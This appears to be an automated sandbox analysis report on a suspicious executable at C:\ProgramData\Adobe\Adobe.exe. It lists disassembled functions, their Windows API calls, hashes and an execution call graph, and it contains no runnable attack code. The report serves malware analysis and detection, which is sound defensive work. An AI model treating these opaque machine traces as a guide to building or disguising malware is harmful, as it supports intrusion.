                                                                                        • String ID: C:\ProgramData\Adobe\Adobe.exe
                                                                                        • API String ID: 2506810119-1403210833
                                                                                        • Opcode ID: f4d765c9bb58478f6d614cb19d249666f691a76f34bd4fd838862d42c91d6eee
                                                                                        • Instruction ID: 12f2da1a58c9c923660241357757b5dddff340f6d61411cdc8d35d961f62cc7a
                                                                                        • Opcode Fuzzy Hash: f4d765c9bb58478f6d614cb19d249666f691a76f34bd4fd838862d42c91d6eee
                                                                                        • Instruction Fuzzy Hash: EB31A0B5A01258EFFB51CF99CC81D9EBBFCEB88390F12806AF80497215DA709E41CB54
                                                                                        Function 100086E4 Relevance: 6.1, APIs: 4, Instructions: 110COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • MultiByteToWideChar.KERNEL32(00000000,00000000,00000100,00000020,00000000,00000000,5EFC4D8B,00000100,10006FFD,00000000,00000001,00000020,00000100,?,5EFC4D8B,00000000), ref: 10008731
                                                                                        • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 100087BA
                                                                                        • GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 100087CC
                                                                                        • __freea.LIBCMT ref: 100087D5
                                                                                          • Part of subcall function 100056D0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 10005702
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ByteCharMultiWide$AllocateHeapStringType__freea
                                                                                        • String ID:
                                                                                        • API String ID: 2652629310-0
                                                                                        • Opcode ID: 11ee239c82756698d200c57d0e0d3564a08309f574ce1b92975b0cd3435ea26e
                                                                                        • Instruction ID: 5b9b35b0a4db414dac5c81271493033b4f2f0f3dd9b893eeefd60fa04c8ec889
                                                                                        • Opcode Fuzzy Hash: 11ee239c82756698d200c57d0e0d3564a08309f574ce1b92975b0cd3435ea26e
                                                                                        • Instruction Fuzzy Hash: 2731AE32A0021AABEF15CF64CC85EAF7BA5EF44290F214129FC48D7158EB35DE50CBA0
                                                                                        Function 10005CE1 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,10001D66,00000000,00000000,?,10005C88,10001D66,00000000,00000000,00000000,?,10005E85,00000006,FlsSetValue), ref: 10005D13
                                                                                        • GetLastError.KERNEL32(?,10005C88,10001D66,00000000,00000000,00000000,?,10005E85,00000006,FlsSetValue,1000E190,FlsSetValue,00000000,00000364,?,10005BC8), ref: 10005D1F
                                                                                        • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,10005C88,10001D66,00000000,00000000,00000000,?,10005E85,00000006,FlsSetValue,1000E190,FlsSetValue,00000000), ref: 10005D2D
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: LibraryLoad$ErrorLast
                                                                                        • String ID:
                                                                                        • API String ID: 3177248105-0
                                                                                        • Opcode ID: 803c5c09655bb12e7a00387565e20d3af286ada8f732c439529cecb726329beb
                                                                                        • Instruction ID: ab8c2af688280ff547417c348c7c3430721907d0b6a0cc88e9d35c15e8af339b
                                                                                        • Opcode Fuzzy Hash: 803c5c09655bb12e7a00387565e20d3af286ada8f732c439529cecb726329beb
                                                                                        • Instruction Fuzzy Hash: 59018436615732ABE7319B689C8CB4B7798EF056E2B214623F909D7158D731D801CAE0
                                                                                        Function 100063F0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • _free.LIBCMT ref: 1000655C
                                                                                          • Part of subcall function 100062BC: IsProcessorFeaturePresent.KERNEL32(00000017,100062AB,00000000,?,?,?,?,00000016,?,?,100062B8,00000000,00000000,00000000,00000000,00000000), ref: 100062BE
                                                                                          • Part of subcall function 100062BC: GetCurrentProcess.KERNEL32(C0000417), ref: 100062E0
                                                                                          • Part of subcall function 100062BC: TerminateProcess.KERNEL32(00000000), ref: 100062E7
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Process$CurrentFeaturePresentProcessorTerminate_free
                                                                                        • String ID: *?$.
                                                                                        • API String ID: 2667617558-3972193922
                                                                                        • Opcode ID: 45d8a64586b327f8eab7ad145b3c87db09c0e9126064bd79fff12b51639589bd
                                                                                        • Instruction ID: 55016225c6cf3c2ad74d5bf99958d96f24b8fe448c0df4d83e2be8db5664878a
                                                                                        • Opcode Fuzzy Hash: 45d8a64586b327f8eab7ad145b3c87db09c0e9126064bd79fff12b51639589bd
                                                                                        • Instruction Fuzzy Hash: 2D519475E0060A9FEB14CFA8CC81AADB7F6FF4C394F258169E854E7349D635AE018B50
                                                                                        Function 100016AA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: _strlen
                                                                                        • String ID: : $Se.
                                                                                        • API String ID: 4218353326-4089948878
                                                                                        • Opcode ID: a70abbbd33418fa47f4ed48ac4096c545584c77cf093be3414735b4e2c88b945
                                                                                        • Instruction ID: 66f447a9efa091531784e06c0e565222335d100d85517175c1dac28435e0d9bb
                                                                                        • Opcode Fuzzy Hash: a70abbbd33418fa47f4ed48ac4096c545584c77cf093be3414735b4e2c88b945
                                                                                        • Instruction Fuzzy Hash: 2F11E7B5904249AEDB11DFA8D841BDEFBFCEF09244F104056E545E7252E6706B02C765
                                                                                        Function 10001EDE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • __CxxThrowException@8.LIBVCRUNTIME ref: 10002903
                                                                                          • Part of subcall function 100035D2: RaiseException.KERNEL32(?,?,?,10002925,00000000,00000000,00000000,?,?,?,?,?,10002925,?,100121B8), ref: 10003632
                                                                                        • __CxxThrowException@8.LIBVCRUNTIME ref: 10002920
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000005.00000002.4501995649.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                        • Associated: 00000005.00000002.4501969308.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                        • Associated: 00000005.00000002.4501995649.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_5_2_10000000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Exception@8Throw$ExceptionRaise
                                                                                        • String ID: Unknown exception
                                                                                        • API String ID: 3476068407-410509341
                                                                                        • Opcode ID: 00f05d2547b3034e4c7bbe2eae49a616f435d37e9c126e5e725cfb9fdfb6d2bb
                                                                                        • Instruction ID: 696891806b75a506f07e96a947ab79166ff1ea0d2f17bc9dac180a151cc952bd
                                                                                        • Opcode Fuzzy Hash: 00f05d2547b3034e4c7bbe2eae49a616f435d37e9c126e5e725cfb9fdfb6d2bb
                                                                                        • Instruction Fuzzy Hash: 2BF0A47890420D77AB04E6E5EC4599D77ACDB006D0F508161FD1496499EF31FA658690

                                                                                        Execution Graph

                                                                                        Execution Coverage:6.4%
                                                                                        Dynamic/Decrypted Code Coverage:9.2%
                                                                                        Signature Coverage:0%
                                                                                        Total number of Nodes:2000
                                                                                        Total number of Limit Nodes:81
                                                                                        execution_graph 40345 441819 40348 430737 40345->40348 40347 441825 40349 430756 40348->40349 40361 43076d 40348->40361 40350 430774 40349->40350 40351 43075f 40349->40351 40362 43034a 40350->40362 40373 4169a7 11 API calls 40351->40373 40354 4307ce 40355 430819 memset 40354->40355 40366 415b2c 40354->40366 40355->40361 40356 43077e 40356->40354 40359 4307fa 40356->40359 40356->40361 40358 4307e9 40358->40355 40358->40361 40374 4169a7 11 API calls 40359->40374 40361->40347 40363 430359 40362->40363 40364 43034e 40362->40364 40363->40356 40375 415c23 memcpy 40364->40375 40367 415b46 40366->40367 40368 415b42 40366->40368 40367->40358 40368->40367 40369 415b94 40368->40369 40370 415b5a 40368->40370 40371 4438b5 10 API calls 40369->40371 40370->40367 40372 415b79 memcpy 40370->40372 40371->40367 40372->40367 40373->40361 40374->40361 40375->40363 37675 442ec6 19 API calls 37849 4152c6 malloc 37850 4152e2 37849->37850 37851 4152ef 37849->37851 37853 416760 11 API calls 37851->37853 37853->37850 37854 4466f4 37873 446904 37854->37873 37856 446700 GetModuleHandleA 37859 446710 __set_app_type __p__fmode __p__commode 37856->37859 37858 4467a4 37860 4467ac __setusermatherr 37858->37860 37861 4467b8 37858->37861 37859->37858 37860->37861 37874 4468f0 _controlfp 37861->37874 37863 4467bd _initterm __wgetmainargs _initterm 37865 44681e GetStartupInfoW 37863->37865 37866 446810 37863->37866 37867 446866 GetModuleHandleA 37865->37867 37875 41276d 37867->37875 37871 446896 exit 37872 44689d _cexit 37871->37872 37872->37866 37873->37856 37874->37863 37876 41277d 37875->37876 37918 4044a4 LoadLibraryW 37876->37918 37878 412785 37909 412789 37878->37909 37926 414b81 37878->37926 37881 4127c8 37932 412465 memset ??2@YAPAXI 37881->37932 37883 4127ea 37944 40ac21 37883->37944 37888 412813 37962 40dd07 memset 37888->37962 37889 412827 37967 40db69 memset 37889->37967 37893 412822 37988 4125b6 ??3@YAXPAX 37893->37988 37894 40ada2 _wcsicmp 37895 41283d 37894->37895 37895->37893 37898 412863 CoInitialize 37895->37898 37972 41268e 37895->37972 37992 4123e2 GetModuleHandleW RegisterClassW GetModuleHandleW CreateWindowExW 37898->37992 37902 41296f 37994 40b633 37902->37994 37904 412873 ShowWindow UpdateWindow GetModuleHandleW LoadAcceleratorsW GetMessageW 37910 412957 CoUninitialize 37904->37910 37915 4128ca 37904->37915 37909->37871 37909->37872 37910->37893 37911 4128d0 TranslateAcceleratorW 37912 412941 GetMessageW 37911->37912 37911->37915 37912->37910 37912->37911 37913 412909 IsDialogMessageW 37913->37912 37913->37915 37914 4128fd IsDialogMessageW 37914->37912 37914->37913 37915->37911 37915->37913 37915->37914 37916 41292b TranslateMessage DispatchMessageW 37915->37916 37917 41291f IsDialogMessageW 37915->37917 37916->37912 37917->37912 37917->37916 37919 4044cf GetProcAddress 37918->37919 37922 4044f7 37918->37922 37920 4044e8 FreeLibrary 37919->37920 37923 4044df 37919->37923 37921 4044f3 37920->37921 37920->37922 37921->37922 37924 404507 MessageBoxW 37922->37924 37925 40451e 37922->37925 37923->37920 37924->37878 37925->37878 37927 414b8a 37926->37927 37928 412794 SetErrorMode GetModuleHandleW EnumResourceTypesW 37926->37928 37998 40a804 memset 37927->37998 37928->37881 37931 414b9e GetProcAddress 37931->37928 37933 4124e0 37932->37933 37934 412505 ??2@YAPAXI 37933->37934 37935 41251c 37934->37935 37937 412521 37934->37937 38020 40e820 memset ??2@YAPAXI ??2@YAPAXI ??2@YAPAXI ??2@YAPAXI 37935->38020 38009 444722 37937->38009 37943 41259b wcscpy 37943->37883 38025 40b1ab free free 37944->38025 37948 40a9ce malloc memcpy free free 37955 40ac5c 37948->37955 37949 40ad4b 37957 40ad76 37949->37957 38049 40a9ce 37949->38049 37951 40ace7 free 37951->37955 37955->37948 37955->37949 37955->37951 37955->37957 38029 40a8d0 37955->38029 38041 4099f4 37955->38041 37956 40a8d0 7 API calls 37956->37957 38026 40aa04 37957->38026 37958 40ada2 37959 40adc9 37958->37959 37960 40adaa 37958->37960 37959->37888 37959->37889 37960->37959 37961 40adb3 _wcsicmp 37960->37961 37961->37959 37961->37960 38054 40dce0 37962->38054 37964 40dd3a GetModuleHandleW 38059 40dba7 37964->38059 37968 40dce0 3 API calls 37967->37968 37969 40db99 37968->37969 38131 40dae1 37969->38131 38145 402f3a 37972->38145 37974 412766 37974->37893 37974->37898 37975 4126d3 _wcsicmp 37976 4126a8 37975->37976 37976->37974 37976->37975 37978 41270a 37976->37978 38179 4125f8 7 API calls 37976->38179 37978->37974 38148 411ac5 37978->38148 37989 4125da 37988->37989 37990 4125f0 37989->37990 37991 4125e6 DeleteObject 37989->37991 37993 40b1ab free free 37990->37993 37991->37990 37992->37904 37993->37902 37995 40b640 37994->37995 37996 40b639 free 37994->37996 37997 40b1ab free free 37995->37997 37996->37995 37997->37909 37999 40a83b GetSystemDirectoryW 37998->37999 38000 40a84c wcscpy 37998->38000 37999->38000 38005 409719 wcslen 38000->38005 38003 40a881 LoadLibraryW 38004 40a886 38003->38004 38004->37928 38004->37931 38006 409724 38005->38006 38007 409739 wcscat LoadLibraryW 38005->38007 38006->38007 38008 40972c wcscat 38006->38008 38007->38003 38007->38004 38008->38007 38010 444732 38009->38010 38011 444728 DeleteObject 38009->38011 38021 409cc3 38010->38021 38011->38010 38013 412551 38014 4010f9 38013->38014 38015 401130 38014->38015 38016 401134 GetModuleHandleW LoadIconW 38015->38016 38017 401107 wcsncat 38015->38017 38018 40a7be 38016->38018 38017->38015 38019 40a7d2 38018->38019 38019->37943 38019->38019 38020->37937 38024 409bfd memset wcscpy 38021->38024 38023 409cdb CreateFontIndirectW 38023->38013 38024->38023 38025->37955 38027 40aa14 38026->38027 38028 40aa0a free 38026->38028 38027->37958 38028->38027 38030 40a8eb 38029->38030 38031 40a8df wcslen 38029->38031 38032 40a906 free 38030->38032 38033 40a90f 38030->38033 38031->38030 38034 40a919 38032->38034 38035 4099f4 3 API calls 38033->38035 38036 40a932 38034->38036 38037 40a929 free 38034->38037 38035->38034 38039 4099f4 3 API calls 38036->38039 38038 40a93e memcpy 38037->38038 38038->37955 38040 40a93d 38039->38040 38040->38038 38042 409a41 38041->38042 38043 4099fb malloc 38041->38043 38042->37955 38045 409a37 38043->38045 38046 409a1c 38043->38046 38045->37955 38047 409a30 free 38046->38047 38048 409a20 memcpy 38046->38048 38047->38045 38048->38047 38050 40a9e7 38049->38050 38051 40a9dc free 38049->38051 38053 4099f4 3 API calls 38050->38053 38052 40a9f2 38051->38052 38052->37956 38053->38052 38078 409bca GetModuleFileNameW 38054->38078 38056 40dce6 wcsrchr 38057 40dcf5 38056->38057 38058 40dcf9 wcscat 38056->38058 38057->38058 38058->37964 38079 44db70 38059->38079 38063 40dbfd 38082 4447d9 38063->38082 38066 40dc34 wcscpy wcscpy 38108 40d6f5 38066->38108 38067 40dc1f wcscpy 38067->38066 38070 40d6f5 3 API calls 38071 40dc73 38070->38071 38072 40d6f5 3 API calls 38071->38072 38073 40dc89 38072->38073 38074 40d6f5 3 API calls 38073->38074 38075 40dc9c EnumResourceNamesW EnumResourceNamesW wcscpy 38074->38075 38114 40da80 38075->38114 38078->38056 38080 40dbb4 memset memset 38079->38080 38081 409bca GetModuleFileNameW 38080->38081 38081->38063 38084 4447f4 38082->38084 38083 40dc1b 38083->38066 38083->38067 38084->38083 38085 444807 ??2@YAPAXI 38084->38085 38086 44481f 38085->38086 38087 444873 _snwprintf 38086->38087 38088 4448ab wcscpy 38086->38088 38121 44474a 8 API calls 38087->38121 38090 4448bb 38088->38090 38122 44474a 8 API calls 38090->38122 38091 4448a7 38091->38088 38091->38090 38093 4448cd 38123 44474a 8 API calls 38093->38123 38095 4448e2 38124 44474a 8 API calls 38095->38124 38097 4448f7 38125 44474a 8 API calls 38097->38125 38099 44490c 38126 44474a 8 API calls 38099->38126 38101 444921 38127 44474a 8 API calls 38101->38127 38103 444936 38128 44474a 8 API calls 38103->38128 38105 44494b 38129 44474a 8 API calls 38105->38129 38107 444960 ??3@YAXPAX 38107->38083 38109 44db70 38108->38109 38110 40d702 memset GetPrivateProfileStringW 38109->38110 38111 40d752 38110->38111 38112 40d75c WritePrivateProfileStringW 38110->38112 38111->38112 38113 40d758 38111->38113 38112->38113 38113->38070 38115 44db70 38114->38115 38116 40da8d memset 38115->38116 38117 40daac LoadStringW 38116->38117 38118 40dac6 38117->38118 38118->38117 38120 40dade 38118->38120 38130 40d76e memset GetPrivateProfileStringW WritePrivateProfileStringW memset _itow 38118->38130 38120->37893 38121->38091 38122->38093 38123->38095 38124->38097 38125->38099 38126->38101 38127->38103 38128->38105 38129->38107 38130->38118 38141 409b98 GetFileAttributesW 38131->38141 38133 40daea 38134 40db63 38133->38134 38135 40daef wcscpy wcscpy GetPrivateProfileIntW 38133->38135 38134->37894 38142 40d65d GetPrivateProfileStringW 38135->38142 38137 40db3e 38143 40d65d GetPrivateProfileStringW 38137->38143 38139 40db4f 38144 40d65d GetPrivateProfileStringW 38139->38144 38141->38133 38142->38137 38143->38139 38144->38134 38180 40eaff 38145->38180 38149 411ae2 memset 38148->38149 38150 411b8f 38148->38150 38220 409bca GetModuleFileNameW 38149->38220 38162 411a8b 38150->38162 38152 411b0a wcsrchr 38153 411b22 wcscat 38152->38153 38154 411b1f 38152->38154 38221 414770 wcscpy wcscpy wcscpy CreateFileW CloseHandle 38153->38221 38154->38153 38156 411b67 38222 402afb 38156->38222 38160 411b7f 38278 40ea13 SendMessageW memset SendMessageW 38160->38278 38163 402afb 27 API calls 38162->38163 38164 411ac0 38163->38164 38165 4110dc 38164->38165 38166 41113e 38165->38166 38171 4110f0 38165->38171 38303 40969c LoadCursorW SetCursor 38166->38303 38168 411143 38304 4032b4 38168->38304 38322 444a54 38168->38322 38169 4110f7 _wcsicmp 38169->38171 38170 411157 38172 40ada2 _wcsicmp 38170->38172 38171->38166 38171->38169 38325 410c46 10 API calls 38171->38325 38175 411167 38172->38175 38173 4111af 38175->38173 38176 4111a6 qsort 38175->38176 38176->38173 38179->37976 38181 40eb10 38180->38181 38193 40e8e0 38181->38193 38184 40eb6c memcpy memcpy 38185 40ebb7 38184->38185 38185->38184 38186 40ebf2 ??2@YAPAXI ??2@YAPAXI 38185->38186 38189 40d134 16 API calls 38185->38189 38187 40ec2e ??2@YAPAXI 38186->38187 38190 40ec65 38186->38190 38187->38190 38189->38185 38190->38190 38203 40ea7f 38190->38203 38192 402f49 38192->37976 38194 40e8f2 38193->38194 38195 40e8eb ??3@YAXPAX 38193->38195 38196 40e900 38194->38196 38197 40e8f9 ??3@YAXPAX 38194->38197 38195->38194 38198 40e911 38196->38198 38199 40e90a ??3@YAXPAX 38196->38199 38197->38196 38200 40e931 ??2@YAPAXI ??2@YAPAXI 38198->38200 38201 40e921 ??3@YAXPAX 38198->38201 38202 40e92a ??3@YAXPAX 38198->38202 38199->38198 38200->38184 38201->38202 38202->38200 38204 40aa04 free 38203->38204 38205 40ea88 38204->38205 38206 40aa04 free 38205->38206 38207 40ea90 38206->38207 38208 40aa04 free 38207->38208 38209 40ea98 38208->38209 38210 40aa04 free 38209->38210 38211 40eaa0 38210->38211 38212 40a9ce 4 API calls 38211->38212 38213 40eab3 38212->38213 38214 40a9ce 4 API calls 38213->38214 38215 40eabd 38214->38215 38216 40a9ce 4 API calls 38215->38216 38217 40eac7 38216->38217 38218 40a9ce 4 API calls 38217->38218 38219 40ead1 38218->38219 38219->38192 38220->38152 38221->38156 38279 40b2cc 38222->38279 38224 402b0a 38225 40b2cc 27 API calls 38224->38225 38226 402b23 38225->38226 38227 40b2cc 27 API calls 38226->38227 38228 402b3a 38227->38228 38229 40b2cc 27 API calls 38228->38229 38230 402b54 38229->38230 38231 40b2cc 27 API calls 38230->38231 38232 402b6b 38231->38232 38233 40b2cc 27 API calls 38232->38233 38234 402b82 38233->38234 38235 40b2cc 27 API calls 38234->38235 38236 402b99 38235->38236 38237 40b2cc 27 API calls 38236->38237 38238 402bb0 38237->38238 38239 40b2cc 27 API calls 38238->38239 38240 402bc7 38239->38240 38241 40b2cc 27 API calls 38240->38241 38242 402bde 38241->38242 38243 40b2cc 27 API calls 38242->38243 38244 402bf5 38243->38244 38245 40b2cc 27 API calls 38244->38245 38246 402c0c 38245->38246 38247 40b2cc 27 API calls 38246->38247 38248 402c23 38247->38248 38249 40b2cc 27 API calls 38248->38249 38250 402c3a 38249->38250 38251 40b2cc 27 API calls 38250->38251 38252 402c51 38251->38252 38253 40b2cc 27 API calls 38252->38253 38254 402c68 38253->38254 38255 40b2cc 27 API calls 38254->38255 38256 402c7f 38255->38256 38257 40b2cc 27 API calls 38256->38257 38258 402c99 38257->38258 38259 40b2cc 27 API calls 38258->38259 38260 402cb3 38259->38260 38261 40b2cc 27 API calls 38260->38261 38262 402cd5 38261->38262 38263 40b2cc 27 API calls 38262->38263 38264 402cf0 38263->38264 38265 40b2cc 27 API calls 38264->38265 38266 402d0b 38265->38266 38267 40b2cc 27 API calls 38266->38267 38268 402d26 38267->38268 38269 40b2cc 27 API calls 38268->38269 38270 402d3e 38269->38270 38271 40b2cc 27 API calls 38270->38271 38272 402d59 38271->38272 38273 40b2cc 27 API calls 38272->38273 38274 402d78 38273->38274 38275 40b2cc 27 API calls 38274->38275 38276 402d93 38275->38276 38277 4018db GetWindowPlacement memset GetSystemMetrics GetSystemMetrics SetWindowPlacement 38276->38277 38277->38160 38278->38150 38282 40b58d 38279->38282 38281 40b2d1 38281->38224 38283 40b5a4 GetModuleHandleW FindResourceW 38282->38283 38284 40b62e 38282->38284 38285 40b5c2 LoadResource 38283->38285 38287 40b5e7 38283->38287 38284->38281 38286 40b5d0 SizeofResource LockResource 38285->38286 38285->38287 38286->38287 38287->38284 38295 40afcf 38287->38295 38289 40b608 memcpy 38298 40b4d3 memcpy 38289->38298 38291 40b61e 38299 40b3c1 18 API calls 38291->38299 38293 40b626 38300 40b04b 38293->38300 38296 40b04b ??3@YAXPAX 38295->38296 38297 40afd7 ??2@YAPAXI 38296->38297 38297->38289 38298->38291 38299->38293 38301 40b051 ??3@YAXPAX 38300->38301 38302 40b05f 38300->38302 38301->38302 38302->38284 38303->38168 38305 4032c4 38304->38305 38306 40b633 free 38305->38306 38307 403316 38306->38307 38326 44553b 38307->38326 38311 403480 38524 40368c 15 API calls 38311->38524 38313 403489 38314 40b633 free 38313->38314 38315 403495 38314->38315 38315->38170 38316 4033a9 memset memcpy 38317 4033ec wcscmp 38316->38317 38318 40333c 38316->38318 38317->38318 38318->38311 38318->38316 38318->38317 38522 4028e7 11 API calls 38318->38522 38523 40f508 6 API calls 38318->38523 38320 403421 _wcsicmp 38320->38318 38323 444a64 FreeLibrary 38322->38323 38324 444a83 38322->38324 38323->38324 38324->38170 38325->38171 38327 445548 38326->38327 38328 445599 38327->38328 38525 40c768 38327->38525 38329 4455a8 memset 38328->38329 38336 4457f2 38328->38336 38608 403988 38329->38608 38340 445854 38336->38340 38710 403e2d memset memset memset memset memset 38336->38710 38337 445672 38619 403fbe memset memset memset memset memset 38337->38619 38338 4458bb memset memset 38345 414c2e 16 API calls 38338->38345 38391 4458aa 38340->38391 38733 403c9c memset memset memset memset memset 38340->38733 38341 44557a 38388 44558c 38341->38388 38805 4136c0 CoTaskMemFree 38341->38805 38343 44595e memset memset 38350 414c2e 16 API calls 38343->38350 38344 4455e5 38344->38337 38353 44560f 38344->38353 38346 4458f9 38345->38346 38351 40b2cc 27 API calls 38346->38351 38348 445a00 memset memset 38756 414c2e 38348->38756 38349 445b22 38355 445bca 38349->38355 38356 445b38 memset memset memset 38349->38356 38360 44599c 38350->38360 38361 445909 38351->38361 38365 4087b3 338 API calls 38353->38365 38354 445849 38821 40b1ab free free 38354->38821 38362 445c8b memset memset 38355->38362 38430 445cf0 38355->38430 38366 445bd4 38356->38366 38367 445b98 38356->38367 38370 40b2cc 27 API calls 38360->38370 38371 409d1f 6 API calls 38361->38371 38374 414c2e 16 API calls 38362->38374 38363 445585 38806 41366b FreeLibrary 38363->38806 38364 44589f 38822 40b1ab free free 38364->38822 38372 445621 38365->38372 38380 414c2e 16 API calls 38366->38380 38367->38366 38376 445ba2 38367->38376 38373 4459ac 38370->38373 38384 445919 38371->38384 38807 4454bf 20 API calls 38372->38807 38386 409d1f 6 API calls 38373->38386 38387 445cc9 38374->38387 38894 4099c6 wcslen 38376->38894 38377 4456b2 38809 40b1ab free free 38377->38809 38379 40b2cc 27 API calls 38392 445a4f 38379->38392 38394 445be2 38380->38394 38381 403335 38521 4452e5 45 API calls 38381->38521 38382 445d3d 38414 40b2cc 27 API calls 38382->38414 38383 445d88 memset memset memset 38397 414c2e 16 API calls 38383->38397 38823 409b98 GetFileAttributesW 38384->38823 38385 445823 38385->38354 38396 4087b3 338 API calls 38385->38396 38398 4459bc 38386->38398 38399 409d1f 6 API calls 38387->38399 38592 444b06 38388->38592 38389 445879 38389->38364 38410 4087b3 338 API calls 38389->38410 38391->38338 38415 44594a 38391->38415 38771 409d1f wcslen wcslen 38392->38771 38403 40b2cc 27 API calls 38394->38403 38396->38385 38407 445dde 38397->38407 38890 409b98 GetFileAttributesW 38398->38890 38409 445ce1 38399->38409 38400 445bb3 38897 445403 memset 38400->38897 38401 445680 38401->38377 38642 4087b3 memset 38401->38642 38404 445bf3 38403->38404 38413 409d1f 6 API calls 38404->38413 38405 445928 38405->38415 38824 40b6ef 38405->38824 38416 40b2cc 27 API calls 38407->38416 38914 409b98 GetFileAttributesW 38409->38914 38410->38389 38424 445c07 38413->38424 38425 445d54 _wcsicmp 38414->38425 38415->38343 38429 4459ed 38415->38429 38428 445def 38416->38428 38417 4459cb 38417->38429 38438 40b6ef 252 API calls 38417->38438 38421 40b2cc 27 API calls 38422 445a94 38421->38422 38776 40ae18 38422->38776 38423 44566d 38423->38336 38693 413d4c 38423->38693 38434 445389 258 API calls 38424->38434 38435 445d71 38425->38435 38500 445d67 38425->38500 38427 445665 38808 40b1ab free free 38427->38808 38436 409d1f 6 API calls 38428->38436 38429->38348 38429->38349 38430->38381 38430->38382 38430->38383 38431 445389 258 API calls 38431->38355 38440 445c17 38434->38440 38915 445093 23 API calls 38435->38915 38443 445e03 38436->38443 38438->38429 38439 4456d8 38445 40b2cc 27 API calls 38439->38445 38446 40b2cc 27 API calls 38440->38446 38442 44563c 38442->38427 38448 4087b3 338 API calls 38442->38448 38916 409b98 GetFileAttributesW 38443->38916 38444 40b6ef 252 API calls 38444->38381 38450 4456e2 38445->38450 38451 445c23 38446->38451 38447 445d83 38447->38381 38448->38442 38810 413fa6 _wcsicmp _wcsicmp 38450->38810 38455 409d1f 6 API calls 38451->38455 38453 445e12 38460 445e6b 38453->38460 38466 40b2cc 27 API calls 38453->38466 38458 445c37 38455->38458 38456 445aa1 38459 445b17 38456->38459 38474 445ab2 memset 38456->38474 38487 409d1f 6 API calls 38456->38487 38783 40add4 38456->38783 38788 445389 38456->38788 38797 40ae51 38456->38797 38457 4456eb 38462 4456fd memset memset memset memset 38457->38462 38463 4457ea 38457->38463 38464 445389 258 API calls 38458->38464 38891 40aebe 38459->38891 38918 445093 23 API calls 38460->38918 38811 409c70 wcscpy wcsrchr 38462->38811 38814 413d29 38463->38814 38469 445c47 38464->38469 38470 445e33 38466->38470 38476 40b2cc 27 API calls 38469->38476 38477 409d1f 6 API calls 38470->38477 38472 445e7e 38473 445f67 38472->38473 38482 40b2cc 27 API calls 38473->38482 38478 40b2cc 27 API calls 38474->38478 38480 445c53 38476->38480 38481 445e47 38477->38481 38478->38456 38479 409c70 2 API calls 38483 44577e 38479->38483 38484 409d1f 6 API calls 38480->38484 38917 409b98 GetFileAttributesW 38481->38917 38486 445f73 38482->38486 38488 409c70 2 API calls 38483->38488 38489 445c67 38484->38489 38491 409d1f 6 API calls 38486->38491 38487->38456 38492 44578d 38488->38492 38493 445389 258 API calls 38489->38493 38490 445e56 38490->38460 38496 445e83 memset 38490->38496 38494 445f87 38491->38494 38492->38463 38499 40b2cc 27 API calls 38492->38499 38493->38355 38921 409b98 GetFileAttributesW 38494->38921 38498 40b2cc 27 API calls 38496->38498 38501 445eab 38498->38501 38502 4457a8 38499->38502 38500->38381 38500->38444 38503 409d1f 6 API calls 38501->38503 38504 409d1f 6 API calls 38502->38504 38505 445ebf 38503->38505 38506 4457b8 38504->38506 38507 40ae18 9 API calls 38505->38507 38813 409b98 GetFileAttributesW 38506->38813 38517 445ef5 